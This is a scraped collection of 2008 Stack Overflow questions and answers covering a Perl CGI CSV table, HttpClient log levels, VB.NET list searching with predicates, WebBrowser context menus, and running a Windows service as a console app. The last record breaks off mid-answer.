In my code, I want to view all data from a CSV in table form, but it only displays the last line. How about lines 1 and 2? Here's the data: ``` 1,HF6,08-Oct-08,34:22:13,df,jhj,fh,fh,ffgh,gh,g,rt,ffgsaf,asdf,dd,yoawa,DWP,tester,Pattern 2,hf35,08-Oct-08,34:12:13,dg,jh,fh,fgh,fgh,gh,gfh,re,fsaf,asdf,dd,yokogawa,DWP,DWP,Pattern 3,hf35,08-Oct-08,31:22:03,dg,jh,fh,fgh,gh,gh,gh,rte,ffgsaf,asdf,dfffd,yokogawa,DWP,DWP,ghh ``` Here's the code: ``` #! /usr/bin/perl print "Content-type:text/html\r\n\r\n"; use CGI qw(:standard); use strict; use warnings; my $line; my $file; my ($f1,$f2,$f3,$f4,$f5,$f6,$f7,$f8,$f9,$f10,$f11,$f12,$f13,$f14,$f15,$f16,$f17,$f18,$f19); $file='MyFile.txt'; open(F,$file)||die("Could not open $file"); while ($line=<F>) { ($f1,$f2,$f3,$f4,$f5,$f6,$f7,$f8,$f9,$f10,$f11,$f12,$f13,$f14,$f15,$f16,$f17,$f18,$f19)= split ',',$line; } close(F); print "<HTML>"; print "<head>"; print "<body bgcolor='#4682B4'>"; print "<title>FUSION SHIFT REPORT</title>"; print "<div align='left'>"; print "<TABLE CELLPADDING='1' CELLSPACING='1' BORDER='1' bordercolor=black width='100%'>"; print "<TR>"; print "<td width='12%'bgcolor='#00ff00'><font size='2'>RECORD No.</td>"; print "<td width='12%'bgcolor='#00ff00'><font size='2'>TESTER No.</td>"; print "<td width='12%'bgcolor='#00ff00'><font size='2'>DATE</td>"; print "<td width='13%'bgcolor='#00ff00'><font size='2'>TIME</td>"; print "<td width='11%'bgcolor='#00ff00'><font size='2'>DEVICE NAME</td>"; print "<td bgcolor='#00ff00'><font size='2'>TEST PROGRAM</td>"; print "<td bgcolor='#00ff00'><font size='2'>DEVICE FAMILY</td>"; print "<td width='13%'bgcolor='#00ff00'><font size='2'>SMSLOT</td>"; print "<td width='13%'bgcolor='#00ff00'><font size='2'>DIE LOT</td>"; print "<td width='12%'bgcolor='#00ff00'><font size='2'>LOADBOARD</td>"; print "<td width='12%'bgcolor='#00ff00'><font size='2'>TESTER </td>"; print "<td width='12%'bgcolor='#00ff00'><font size='2'>SERIAL NUMBER</td>"; print "<td width='13%'bgcolor='#00ff00'><font size='2'>TESTER CONFIG</td>"; print "<td width='11%'bgcolor='#00ff00'><font size='2'>SMSLOT</td>"; print "<td bgcolor='#00ff00'><font size='2'>PACKAGE</td>"; print "<td bgcolor='#00ff00'><font size='2'>SOCKET</td>"; print "<td width='13%'bgcolor='#00ff00'><font size='2'>ROOT CAUSE 1</td>"; print "<td width='13%'bgcolor='#00ff00'><font size='2'>ROOT CAUSE 2</td>"; print "<td width='13%'bgcolor='#00ff00'><font size='2'>ROOT CAUSE 3</td>"; print "</tr>"; print "<TR>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f1</TD>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f2</TD>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f3</TD>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f4</TD>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f5</TD>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f6</TD>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f7</TD>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f8</TD>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f9</TD>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f10</TD>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f11</TD>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f12</TD>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f13</TD>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f14</TD>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f15</TD>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f16</TD>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f17</TD>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f18</TD>"; print "<TD bgcolor='#ADD8E6'><font size='2'>$f19</TD>"; print "</tr>"; print "</TABLE>"; print "</body>"; print "<html>"; ```
HTML::Template would make your life a lot easier. Here's my go with a cut-down template. ``` #!/usr/local/bin/perl use strict; use warnings; use HTML::Template; my @table; while (my $line = <DATA>){ chomp $line; my @row = map{{cell => $_}} split(/,/, $line); push @table, {row => \@row}; } my $tmpl = HTML::Template->new(scalarref => \get_tmpl()); $tmpl->param(table => \@table); print $tmpl->output; sub get_tmpl{ return <<TMPL <html> <TMPL_LOOP table> <tr> <TMPL_LOOP row> <td><TMPL_VAR cell></td></TMPL_LOOP> </tr></TMPL_LOOP> </html> TMPL } __DATA__ 1,HF6,08-Oct-08,34:22:13,df,jhj,fh,fh,ffgh,gh,g,rt,ffgsaf,asdf,dd,yoawa,DWP,tester,Pattern 2,hf35,08-Oct-08,34:12:13,dg,jh,fh,fgh,fgh,gh,gfh,re,fsaf,asdf,dd,yokogawa,DWP,DWP,Pattern 3,hf35,08-Oct-08,31:22:03,dg,jh,fh,fgh,gh,gh,gh,rte,ffgsaf,asdf,dfffd,yokogawa,DWP,DWP,ghh ```
200,150
<p>i am using the apache commons httpclient in a lotus notes java agent and it works fine. BUT when establishing a proxy connection the log will be spamed with the following line :</p> <pre><code>[INFO] AuthChallengeProcessor - basic authentication scheme selected </code></pre> <p>Do you know how to disable the integrated loging or how to set a lower debug level ? Its a "feature" from the httpclient itself, so code from my side is not needed :-)</p> <p>Thanks.</p>
[ { "answer_id": 200192, "author": "Owen", "author_id": 4853, "author_profile": "https://Stackoverflow.com/users/4853", "pm_score": 1, "selected": true, "text": "<p>you should be able to set the logging level to something less spammy. there are a few default <a href=\"http://hc.apache.org/httpclient-3.x/logging.html\" rel=\"nofollow noreferrer\">logging options</a>, so it depends on the logging method you chose.</p>\n\n<p>it sounds like your logging level is set to \"debug\" or \"info\" and should be set at \"notice\" or above (to avoid info and below level warnings)</p>\n" }, { "answer_id": 200223, "author": "JimmyTudeski", "author_id": 27181, "author_profile": "https://Stackoverflow.com/users/27181", "pm_score": 0, "selected": false, "text": "<p>i have had a look into a authentification rfc and read that this is a warning not to use basic authentification. so i think i need to change the authentification to not submit the login information in readable text.</p>\n" }, { "answer_id": 200269, "author": "JimmyTudeski", "author_id": 27181, "author_profile": "https://Stackoverflow.com/users/27181", "pm_score": -1, "selected": false, "text": "<p>It is possible to set a AuthPolicy Priority :</p>\n\n<p>... snipp....</p>\n\n<pre><code>client.getState().setProxyCredentials(\n new AuthScope(conParm.getProxyServer(), conParm.getProxyPort()),\n new UsernamePasswordCredentials(conParm.getProxyUser(), conParm.getProxyPw()));\n\n **ArrayList authPrefs = new ArrayList(2);\n authPrefs.add(AuthPolicy.DIGEST);\n authPrefs.add(AuthPolicy.BASIC);\n\n client.getParams().setParameter(AuthPolicy.AUTH_SCHEME_PRIORITY, authPrefs);\n client.getParams().setParameter(\"http.protocol.expect-continue\", new Boolean(true));**\n</code></pre>\n\n<p>..snapp....</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200150", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27181/" ]
i am using the apache commons httpclient in a lotus notes java agent and it works fine. BUT when establishing a proxy connection the log will be spamed with the following line : ``` [INFO] AuthChallengeProcessor - basic authentication scheme selected ``` Do you know how to disable the integrated loging or how to set a lower debug level ? Its a "feature" from the httpclient itself, so code from my side is not needed :-) Thanks.
you should be able to set the logging level to something less spammy. there are a few default [logging options](http://hc.apache.org/httpclient-3.x/logging.html), so it depends on the logging method you chose. it sounds like your logging level is set to "debug" or "info" and should be set at "notice" or above (to avoid info and below level warnings)
200,151
<p>Is it possible to search for an object by one of its properties in a Generic List?</p> <pre><code>Public Class Customer Private _id As Integer Private _name As String Public Property ID() As Integer Get Return _id End Get Set _id = value End Set End Property Public Property Name() As String Get Return _name End Get Set _name = value End Set End Property Public Sub New(id As Integer, name As String) _id = id _name = name End Sub End Class </code></pre> <p>Then loading and searching</p> <pre><code>Dim list as new list(Of Customer) list.Add(New Customer(1,"A") list.Add(New Customer(2,"B") </code></pre> <p>How can I return customer object with id =1? Does this have to do with the "Predicate" in Generics?</p> <p>Note: I am doing this in VB.NET.</p>
[ { "answer_id": 200161, "author": "Aleris", "author_id": 20417, "author_profile": "https://Stackoverflow.com/users/20417", "pm_score": 0, "selected": false, "text": "<p>If you are using .NET 3.5 this can be done with <a href=\"http://en.wikipedia.org/wiki/Language_Integrated_Query#LINQ_to_Objects\" rel=\"nofollow noreferrer\">LINQ&nbsp;to&nbsp;Objects</a>:</p>\n\n<p><em><a href=\"http://msdn.microsoft.com/en-us/library/bb397937.aspx\" rel=\"nofollow noreferrer\">How to: Query an ArrayList with LINQ</a></em></p>\n\n<p>If not, in .NET 2.0 you can use the <a href=\"http://msdn.microsoft.com/en-us/library/x0b5b5bc.aspx\" rel=\"nofollow noreferrer\"><code>Find</code> method of the list</a>.</p>\n\n<p>The idea is that you will need to provide an method that return true if a property of your object satisfies a certain condition.</p>\n" }, { "answer_id": 200165, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 6, "selected": true, "text": "<p>Yes, this has everything to do with predicates :)</p>\n\n<p>You want the <a href=\"http://msdn.microsoft.com/en-us/library/x0b5b5bc.aspx\" rel=\"noreferrer\">Find(Of T)</a> method. You need to pass in a predicate (which is a type of delegate in this case). How you construct that delegate depends on which version of VB you're using. If you're using VB9, you could use a lambda expression. (If you're using VB9 you might want to use LINQ instead of Find(Of T) in the first place, mind you.) The lambda expression form would be something like:</p>\n\n<pre><code>list.Find(function(c) c.ID = 1)\n</code></pre>\n\n<p>I'm not sure if VB8 supports anonymous methods in the same way that C# 2 does though. If you need to call this from VB8, I'll see what I can come up with. (I'm more of a C# person really :)</p>\n" }, { "answer_id": 200182, "author": "Ozgur Ozcitak", "author_id": 976, "author_profile": "https://Stackoverflow.com/users/976", "pm_score": 3, "selected": false, "text": "<p>Generally you need to use predicates:</p>\n\n<pre><code>list.Add(New Customer(1, \"A\"))\nlist.Add(New Customer(2, \"B\"))\n\nPrivate Function HasID1(ByVal c As Customer) As Boolean\n Return (c.ID = 1)\nEnd Function\n\nDim customerWithID1 As Customer = list.Find(AddressOf HasID1)\n</code></pre>\n\n<p>Or with inline methods:</p>\n\n<pre><code>Dim customerWithID1 As Customer = list.Find(Function(p) p.ID = 1)\n</code></pre>\n" }, { "answer_id": 200554, "author": "chrissie1", "author_id": 2936, "author_profile": "https://Stackoverflow.com/users/2936", "pm_score": 1, "selected": false, "text": "<p>You could also overload the equals method and then do a contains. like this</p>\n\n<pre><code>Dim list as new list(Of Customer)\n\nlist.Add(New Customer(1,\"A\")\n\nlist.Add(New Customer(2,\"B\")\n\nlist.contains(new customer(1,\"A\"))\n</code></pre>\n\n<p>the equals method then would look like this</p>\n\n<pre><code>public overrides function Equals(Obj as object) as Boolean\n return Me.Id.Equals(ctype(Obj,Customer).Id\nend Function\n</code></pre>\n\n<p>Not tested but it should be close enough.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200151", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23667/" ]
Is it possible to search for an object by one of its properties in a Generic List? ``` Public Class Customer Private _id As Integer Private _name As String Public Property ID() As Integer Get Return _id End Get Set _id = value End Set End Property Public Property Name() As String Get Return _name End Get Set _name = value End Set End Property Public Sub New(id As Integer, name As String) _id = id _name = name End Sub End Class ``` Then loading and searching ``` Dim list as new list(Of Customer) list.Add(New Customer(1,"A") list.Add(New Customer(2,"B") ``` How can I return customer object with id =1? Does this have to do with the "Predicate" in Generics? Note: I am doing this in VB.NET.
Yes, this has everything to do with predicates :) You want the [Find(Of T)](http://msdn.microsoft.com/en-us/library/x0b5b5bc.aspx) method. You need to pass in a predicate (which is a type of delegate in this case). How you construct that delegate depends on which version of VB you're using. If you're using VB9, you could use a lambda expression. (If you're using VB9 you might want to use LINQ instead of Find(Of T) in the first place, mind you.) The lambda expression form would be something like: ``` list.Find(function(c) c.ID = 1) ``` I'm not sure if VB8 supports anonymous methods in the same way that C# 2 does though. If you need to call this from VB8, I'll see what I can come up with. (I'm more of a C# person really :)
200,162
<p>The WebBrowser control has a property called "IsWebBrowserContextMenuEnabled" that disables all ability to right-click on a web page and see a context menu. This is very close to what I want (I don't want anyone to be able to right-click and print, hit back, hit properties, view source, etc).</p> <p>The only problem is this also disables the context menu that appears in TextBoxes for copy/paste, etc.</p> <p>To make this clearer, this is what I don't want:<br> <a href="http://www.flickr.com/photos/24262860@N00/2941073716/" rel="nofollow noreferrer" title="badcontext by andersonimes, on Flickr"><img src="https://farm4.static.flickr.com/3047/2941073716_0c51ab4b3c_m.jpg" width="124" height="240" alt="badcontext" /></a></p> <p>This is what I do want:<br> <a href="http://www.flickr.com/photos/24262860@N00/2941073720/" rel="nofollow noreferrer" title="goodcontext by andersonimes, on Flickr"><img src="https://farm4.static.flickr.com/3024/2941073720_8aedaf9b06_o.png" width="104" height="144" alt="goodcontext" /></a></p> <p>I would like to disable the main context menu, but allow the one that appears in TextBoxes. Anyone know how I would do that? The WebBrowser.Document.ContextMenuShowing event looks promising, but doesn't seem to properly identify the element the user is right-clicking on, either through the HtmlElementEventArgs parameter's "FromElement" and "ToElement" properties, nor is the sender anything but the HtmlDocument element.</p> <p>Thanks in advance!</p>
[ { "answer_id": 200194, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": true, "text": "<p>have you considered writing your own context menu in javascript? Just listen to the user right clicking on the body, then show your menu with copy and paste commands (hint: element.style.display = \"block|none\"). To copy, execute the following code:</p>\n\n<pre><code> CopiedTxt = document.selection.createRange();\n CopiedTxt.execCommand(\"Copy\");\n</code></pre>\n\n<p>And to paste:</p>\n\n<pre><code> CopiedTxt = document.selection.createRange();\n CopiedTxt.execCommand(\"Paste\");\n</code></pre>\n\n<p>Source:</p>\n\n<p><a href=\"http://www.geekpedia.com/tutorial126_Clipboard-cut-copy-and-paste-with-JavaScript.html\" rel=\"nofollow noreferrer\">http://www.geekpedia.com/tutorial126_Clipboard-cut-copy-and-paste-with-JavaScript.html</a></p>\n\n<p>NOTE: This only works in IE (which is fine for your application).</p>\n\n<p>I know its not bulletproof by any means, but here is a code sample that should get you started:</p>\n\n<pre><code>&lt;html&gt;\n &lt;head&gt;\n &lt;script type = \"text/javascript\"&gt;\n var lastForm = null;\n window.onload = function(){\n\n var menu = document.getElementById(\"ContextMenu\");\n var cpy = document.getElementById(\"CopyBtn\");\n var pst = document.getElementById(\"PasteBtn\");\n\n document.body.onmouseup = function(){\n if (event.button == 2)\n {\n menu.style.left = event.clientX + \"px\";\n menu.style.top = event.clientY + \"px\";\n menu.style.display = \"block\";\n\n return true;\n }\n\n menu.style.display = \"none\";\n };\n\n cpy.onclick = function(){\n copy = document.selection.createRange();\n copy.execCommand(\"Copy\");\n return false;\n };\n\n pst.onclick = function(){\n if (lastForm)\n {\n copy = lastForm.createTextRange();\n copy.execCommand(\"Paste\");\n }\n return false;\n };\n };\n &lt;/script&gt;\n &lt;/head&gt;\n\n &lt;body oncontextmenu = \"return false;\"&gt;\n &lt;div id = \"ContextMenu\" style = \"display : none; background: #fff; border: 1px solid #aaa; position: absolute;\n width : 75px;\"&gt;\n &lt;a href = \"#\" id = \"CopyBtn\" style = \"display: block; color : blue; text-decoration: none;\"&gt;Copy&lt;/a&gt;\n &lt;a href = \"#\" id = \"PasteBtn\" style = \"display: block; color : blue; text-decoration: none;\"&gt;Paste&lt;/a&gt;\n &lt;/div&gt;\n sadgjghdskjghksghkds\n &lt;input type = \"text\" onfocus = \"lastForm = this;\" /&gt;\n &lt;/body&gt;\n&lt;/html&gt;\n</code></pre>\n" }, { "answer_id": 200196, "author": "Treb", "author_id": 22114, "author_profile": "https://Stackoverflow.com/users/22114", "pm_score": 0, "selected": false, "text": "<p>A quick look at the <a href=\"http://msdn.microsoft.com/en-us/library/system.windows.forms.webbrowser_events.aspx\" rel=\"nofollow noreferrer\">MSDN documentation</a> shows that none of the mouse events (click, button down/up etc) are supported to be used in your program. I'm afraid its either or: Either disable conetxt menus, or allow them.</p>\n<p>If you disable them, the user can still copy &amp; paste using keyboard shortcuts (Ctrl-C, Ctrl-V). Maybe that gives you the functionality you need.</p>\n" }, { "answer_id": 369585, "author": "Anderson Imes", "author_id": 3244, "author_profile": "https://Stackoverflow.com/users/3244", "pm_score": -1, "selected": false, "text": "<p>We ended up using a combination of both of the above comments. Closer to the second, which is why I gave him credit.</p>\n\n<p>There is a way to replace the context menu on both the client-side web code as well as through winforms, which is the approach we took. I really didn't want to rewrite the context menu, but this seems to have given us the right mix of control.</p>\n" }, { "answer_id": 1723195, "author": "Santosh Thakur", "author_id": 209728, "author_profile": "https://Stackoverflow.com/users/209728", "pm_score": 0, "selected": false, "text": "<pre><code>//Start:\n\nfunction cutomizedcontextmenu(e)\n{\n var target = window.event ? window.event.srcElement : e ? e.target : null;\n if( navigator.userAgent.toLowerCase().indexOf(\"msie\") != -1 )\n {\n if (target.type != \"text\" &amp;&amp; target.type != \"textarea\" &amp;&amp; target.type != \"password\") \n {\n alert(message);\n return false;\n }\n return true;\n }\n else if( navigator.product == \"Gecko\" )\n {\n alert(message);\n return false;\n }\n} \n\ndocument.oncontextmenu = cutomizedcontextmenu;\n//End:\n</code></pre>\n\n<p>I hope this will help you Anderson Imes</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200162", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3244/" ]
The WebBrowser control has a property called "IsWebBrowserContextMenuEnabled" that disables all ability to right-click on a web page and see a context menu. This is very close to what I want (I don't want anyone to be able to right-click and print, hit back, hit properties, view source, etc). The only problem is this also disables the context menu that appears in TextBoxes for copy/paste, etc. To make this clearer, this is what I don't want: [![badcontext](https://farm4.static.flickr.com/3047/2941073716_0c51ab4b3c_m.jpg)](http://www.flickr.com/photos/24262860@N00/2941073716/ "badcontext by andersonimes, on Flickr") This is what I do want: [![goodcontext](https://farm4.static.flickr.com/3024/2941073720_8aedaf9b06_o.png)](http://www.flickr.com/photos/24262860@N00/2941073720/ "goodcontext by andersonimes, on Flickr") I would like to disable the main context menu, but allow the one that appears in TextBoxes. Anyone know how I would do that? The WebBrowser.Document.ContextMenuShowing event looks promising, but doesn't seem to properly identify the element the user is right-clicking on, either through the HtmlElementEventArgs parameter's "FromElement" and "ToElement" properties, nor is the sender anything but the HtmlDocument element. Thanks in advance!
have you considered writing your own context menu in javascript? Just listen to the user right clicking on the body, then show your menu with copy and paste commands (hint: element.style.display = "block|none"). To copy, execute the following code: ``` CopiedTxt = document.selection.createRange(); CopiedTxt.execCommand("Copy"); ``` And to paste: ``` CopiedTxt = document.selection.createRange(); CopiedTxt.execCommand("Paste"); ``` Source: <http://www.geekpedia.com/tutorial126_Clipboard-cut-copy-and-paste-with-JavaScript.html> NOTE: This only works in IE (which is fine for your application). I know its not bulletproof by any means, but here is a code sample that should get you started: ``` <html> <head> <script type = "text/javascript"> var lastForm = null; window.onload = function(){ var menu = document.getElementById("ContextMenu"); var cpy = document.getElementById("CopyBtn"); var pst = document.getElementById("PasteBtn"); document.body.onmouseup = function(){ if (event.button == 2) { menu.style.left = event.clientX + "px"; menu.style.top = event.clientY + "px"; menu.style.display = "block"; return true; } menu.style.display = "none"; }; cpy.onclick = function(){ copy = document.selection.createRange(); copy.execCommand("Copy"); return false; }; pst.onclick = function(){ if (lastForm) { copy = lastForm.createTextRange(); copy.execCommand("Paste"); } return false; }; }; </script> </head> <body oncontextmenu = "return false;"> <div id = "ContextMenu" style = "display : none; background: #fff; border: 1px solid #aaa; position: absolute; width : 75px;"> <a href = "#" id = "CopyBtn" style = "display: block; color : blue; text-decoration: none;">Copy</a> <a href = "#" id = "PasteBtn" style = "display: block; color : blue; text-decoration: none;">Paste</a> </div> sadgjghdskjghksghkds <input type = "text" onfocus = "lastForm = this;" /> </body> </html> ```
200,163
<p>I am currently writing a little bootstrap code for a service that can be run in the console. It essentially boils down to calling the OnStart() method instead of using the ServiceBase to start and stop the service (because it doesn't run the application if it isn't installed as a service and makes debugging a nightmare).</p> <p>Right now I am using Debugger.IsAttached to determine if I should use ServiceBase.Run or [service].OnStart, but I know that isn't the best idea because some times end users want to run the service in a console (to see the output etc. realtime).</p> <p>Any ideas on how I could determine if the Windows service controller started 'me', or if the user started 'me' in the console? Apparantly <a href="http://social.msdn.microsoft.com/Forums/en-US/csharpgeneral/thread/99c4594b-e6c9-424f-bfe1-c7261bba24d3/" rel="noreferrer" title="forum thread">Environment.IsUserInteractive</a> is not the answer. I thought about using commandline args, but that seems 'dirty'.</p> <p>I could always see about a try-catch statement around ServiceBase.Run, but that seems dirty. Edit: Try catch doesn't work.</p> <p>I have a solution: putting it up here for all the other interested stackers:</p> <pre><code> public void Run() { if (Debugger.IsAttached || Environment.GetCommandLineArgs().Contains&lt;string&gt;("-console")) { RunAllServices(); } else { try { string temp = Console.Title; ServiceBase.Run((ServiceBase[])ComponentsToRun); } catch { RunAllServices(); } } } // void Run private void RunAllServices() { foreach (ConsoleService component in ComponentsToRun) { component.Start(); } WaitForCTRLC(); foreach (ConsoleService component in ComponentsToRun) { component.Stop(); } } </code></pre> <p>EDIT: There was another question on StackOverflow where the guy had problems with the Environment.CurrentDirectory being "C:\Windows\System32" looks like that may be the answer. I will test today.</p>
[ { "answer_id": 200176, "author": "Sean", "author_id": 26095, "author_profile": "https://Stackoverflow.com/users/26095", "pm_score": 4, "selected": false, "text": "<p>I usually flag my Windows service as a console application which takes a command line parameter of \"-console\" to run using a console, otherwise it runs as a service. To debug you just set the command line parameters in the project options to \"-console\" and you're off!</p>\n\n<p>This makes debugging nice and easy and means that the app functions as a service by default, which is what you'll want.</p>\n" }, { "answer_id": 200183, "author": "Ash", "author_id": 5023, "author_profile": "https://Stackoverflow.com/users/5023", "pm_score": 3, "selected": false, "text": "<p>Jonathan, not exactly an answer to your question, but I've just finished writing a windows service and also noted the difficulty with debugging and testing.</p>\n\n<p>Solved it by simply writing all actual processing code in a separate class library assembly, which was then referenced by the windows service executable, as well as a console app and a test harness.</p>\n\n<p>Apart from basic timer logic, all more complex processing happened in the common assembly and could be tested/run on demand incredibly easily.</p>\n" }, { "answer_id": 200186, "author": "mdb", "author_id": 8562, "author_profile": "https://Stackoverflow.com/users/8562", "pm_score": 2, "selected": false, "text": "<p>The only way I've found to achieve this, is to check if a console is attached to the process in the first place, by accessing any Console object property (e.g. Title) inside a try/catch block.</p>\n\n<p>If the service is started by the SCM, there is no console, and accessing the property will throw a System.IO.IOError. </p>\n\n<p>However, since this feels a bit too much like relying on an implementation-specific detail (what if the SCM on some platforms or someday decides to provide a console to the processes it starts?), I always use a command line switch (-console) in production apps...</p>\n" }, { "answer_id": 200187, "author": "Anderson Imes", "author_id": 3244, "author_profile": "https://Stackoverflow.com/users/3244", "pm_score": 0, "selected": false, "text": "<p>This is a bit of a self-plug, but I've got a little app that will load up your service types in your app via reflection and execute them that way. I include the source code, so you could change it slightly to display standard output.</p>\n\n<p>No code changes needed to use this solution. I have a Debugger.IsAttached type of solution as well that is generic enough to be used with any service. Link is in this article:\n<a href=\"http://theimes.com/archive/2007/08/22/net-windows-service-runner.aspx\" rel=\"nofollow noreferrer\">.NET Windows Service Runner</a></p>\n" }, { "answer_id": 208073, "author": "gyrolf", "author_id": 23772, "author_profile": "https://Stackoverflow.com/users/23772", "pm_score": 4, "selected": false, "text": "<p>What works for me:</p>\n\n<ul>\n<li>The class doing the actual service work is running in a separate thread.</li>\n<li>This thread is started from within the OnStart() method, and stopped from OnStop().</li>\n<li>The decision between service and console mode depends on <code>Environment.UserInteractive</code></li>\n</ul>\n\n<p>Sample code:</p>\n\n<pre><code>class MyService : ServiceBase\n{\n private static void Main()\n {\n if (Environment.UserInteractive)\n {\n startWorkerThread();\n Console.WriteLine (\"====== Press ENTER to stop threads ======\");\n Console.ReadLine();\n stopWorkerThread() ;\n Console.WriteLine (\"====== Press ENTER to quit ======\");\n Console.ReadLine();\n }\n else\n {\n Run (this) ;\n }\n }\n\n protected override void OnStart(string[] args)\n {\n startWorkerThread();\n }\n\n protected override void OnStop()\n {\n stopWorkerThread() ;\n }\n}\n</code></pre>\n" }, { "answer_id": 218954, "author": "Kramii", "author_id": 11514, "author_profile": "https://Stackoverflow.com/users/11514", "pm_score": 5, "selected": true, "text": "<p>Like Ash, I write all actual processing code in a separate class library assembly, which was then referenced by the windows service executable, as well as a console app.</p>\n\n<p>However, there are occasions when it is useful to know if the class library is running in the context of the service executable or the console app. The way I do this is to reflect on the base class of the hosting app. (Sorry for the VB, but I imagine that the following could be c#-ified fairly easily):</p>\n\n<pre class=\"lang-vb prettyprint-override\"><code>Public Class ExecutionContext\n ''' &lt;summary&gt;\n ''' Gets a value indicating whether the application is a windows service.\n ''' &lt;/summary&gt;\n ''' &lt;value&gt;\n ''' &lt;c&gt;true&lt;/c&gt; if this instance is service; otherwise, &lt;c&gt;false&lt;/c&gt;.\n ''' &lt;/value&gt;\n Public Shared ReadOnly Property IsService() As Boolean\n Get\n ' Determining whether or not the host application is a service is\n ' an expensive operation (it uses reflection), so we cache the\n ' result of the first call to this method so that we don't have to\n ' recalculate it every call.\n\n ' If we have not already determined whether or not the application\n ' is running as a service...\n If IsNothing(_isService) Then\n\n ' Get details of the host assembly.\n Dim entryAssembly As Reflection.Assembly = Reflection.Assembly.GetEntryAssembly\n\n ' Get the method that was called to enter the host assembly.\n Dim entryPoint As System.Reflection.MethodInfo = entryAssembly.EntryPoint\n\n ' If the base type of the host assembly inherits from the\n ' \"ServiceBase\" class, it must be a windows service. We store\n ' the result ready for the next caller of this method.\n _isService = (entryPoint.ReflectedType.BaseType.FullName = \"System.ServiceProcess.ServiceBase\")\n\n End If\n\n ' Return the cached result.\n Return CBool(_isService)\n End Get\n End Property\n\n Private Shared _isService As Nullable(Of Boolean) = Nothing\n#End Region\nEnd Class\n</code></pre>\n" }, { "answer_id": 261161, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>Maybe checking if the process parent is C:\\Windows\\system32\\services.exe.</p>\n" }, { "answer_id": 2111492, "author": "Rolf Kristensen", "author_id": 193178, "author_profile": "https://Stackoverflow.com/users/193178", "pm_score": 3, "selected": false, "text": "<p>I have modified the ProjectInstaller to append the command-line argument parameter /service, when it is being installed as service:</p>\n\n<pre><code>static class Program\n{\n static void Main(string[] args)\n {\n if (Array.Exists(args, delegate(string arg) { return arg == \"/install\"; }))\n {\n System.Configuration.Install.TransactedInstaller ti = null;\n ti = new System.Configuration.Install.TransactedInstaller();\n ti.Installers.Add(new ProjectInstaller());\n ti.Context = new System.Configuration.Install.InstallContext(\"\", null);\n string path = System.Reflection.Assembly.GetExecutingAssembly().Location;\n ti.Context.Parameters[\"assemblypath\"] = path;\n ti.Install(new System.Collections.Hashtable());\n return;\n }\n\n if (Array.Exists(args, delegate(string arg) { return arg == \"/uninstall\"; }))\n {\n System.Configuration.Install.TransactedInstaller ti = null;\n ti = new System.Configuration.Install.TransactedInstaller();\n ti.Installers.Add(new ProjectInstaller());\n ti.Context = new System.Configuration.Install.InstallContext(\"\", null);\n string path = System.Reflection.Assembly.GetExecutingAssembly().Location;\n ti.Context.Parameters[\"assemblypath\"] = path;\n ti.Uninstall(null);\n return;\n }\n\n if (Array.Exists(args, delegate(string arg) { return arg == \"/service\"; }))\n {\n ServiceBase[] ServicesToRun;\n\n ServicesToRun = new ServiceBase[] { new MyService() };\n ServiceBase.Run(ServicesToRun);\n }\n else\n {\n Console.ReadKey();\n }\n }\n}\n</code></pre>\n\n<p>The ProjectInstaller.cs is then modified to override a OnBeforeInstall() and OnBeforeUninstall()</p>\n\n<pre><code>[RunInstaller(true)]\npublic partial class ProjectInstaller : Installer\n{\n public ProjectInstaller()\n {\n InitializeComponent();\n }\n\n protected virtual string AppendPathParameter(string path, string parameter)\n {\n if (path.Length &gt; 0 &amp;&amp; path[0] != '\"')\n {\n path = \"\\\"\" + path + \"\\\"\";\n }\n path += \" \" + parameter;\n return path;\n }\n\n protected override void OnBeforeInstall(System.Collections.IDictionary savedState)\n {\n Context.Parameters[\"assemblypath\"] = AppendPathParameter(Context.Parameters[\"assemblypath\"], \"/service\");\n base.OnBeforeInstall(savedState);\n }\n\n protected override void OnBeforeUninstall(System.Collections.IDictionary savedState)\n {\n Context.Parameters[\"assemblypath\"] = AppendPathParameter(Context.Parameters[\"assemblypath\"], \"/service\");\n base.OnBeforeUninstall(savedState);\n }\n}\n</code></pre>\n" }, { "answer_id": 3165027, "author": "rnr_never_dies", "author_id": 381973, "author_profile": "https://Stackoverflow.com/users/381973", "pm_score": 5, "selected": false, "text": "<p>Another workaround.. so can run as WinForm or as windows service</p>\n\n<pre><code>var backend = new Backend();\n\nif (Environment.UserInteractive)\n{\n backend.OnStart();\n Application.EnableVisualStyles();\n Application.SetCompatibleTextRenderingDefault(false);\n Application.Run(new Fronend(backend));\n backend.OnStop();\n}\nelse\n{\n var ServicesToRun = new ServiceBase[] {backend};\n ServiceBase.Run(ServicesToRun);\n}\n</code></pre>\n" }, { "answer_id": 10004285, "author": "shockwave121", "author_id": 1311765, "author_profile": "https://Stackoverflow.com/users/1311765", "pm_score": 2, "selected": false, "text": "<p>This thread is really old, but I thought I would throw my solution out there. Quite simply, to handle this type of situation, I built a \"service harness\" that is used in both the console and Windows service cases. As above, most of the logic is contained in a separate library, but this is more for testing and \"linkability\".</p>\n\n<p>The attached code by no means represents the \"best 